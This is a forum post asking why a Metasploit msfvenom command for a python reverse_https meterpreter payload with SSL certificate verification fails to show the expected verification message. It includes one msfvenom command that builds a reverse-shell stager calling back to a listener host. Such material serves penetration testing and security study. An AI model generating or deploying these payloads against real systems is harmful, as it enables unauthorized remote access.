Metasploit : python https meterpreter SSL validation

Hello all. Thanks a lot in advance for your consideration.
I would like to be able to generate a python/meterpreter/reverse_https payload, with the appreciated option StagerVerifySSLCert.
After a lot of hours of syntax verifications, i can’t get this wonderfull output before getting meterpreter session : “Meterpreter will verify SSL Certificate with SHA1 hash”
I don’t understand where is my mistake, i can’t make it works only on platform windows yet.
Here is the basic command i’m using with no success:
msfvenom -p python/meterpreter/reverse_https StagerVerifySSLCert=true HandlerSSLCert=/root/certificat.pem LHOST= LPORT=443 -o /root/
Any help would be appreciated. Have a nice day and thanks for reading me.
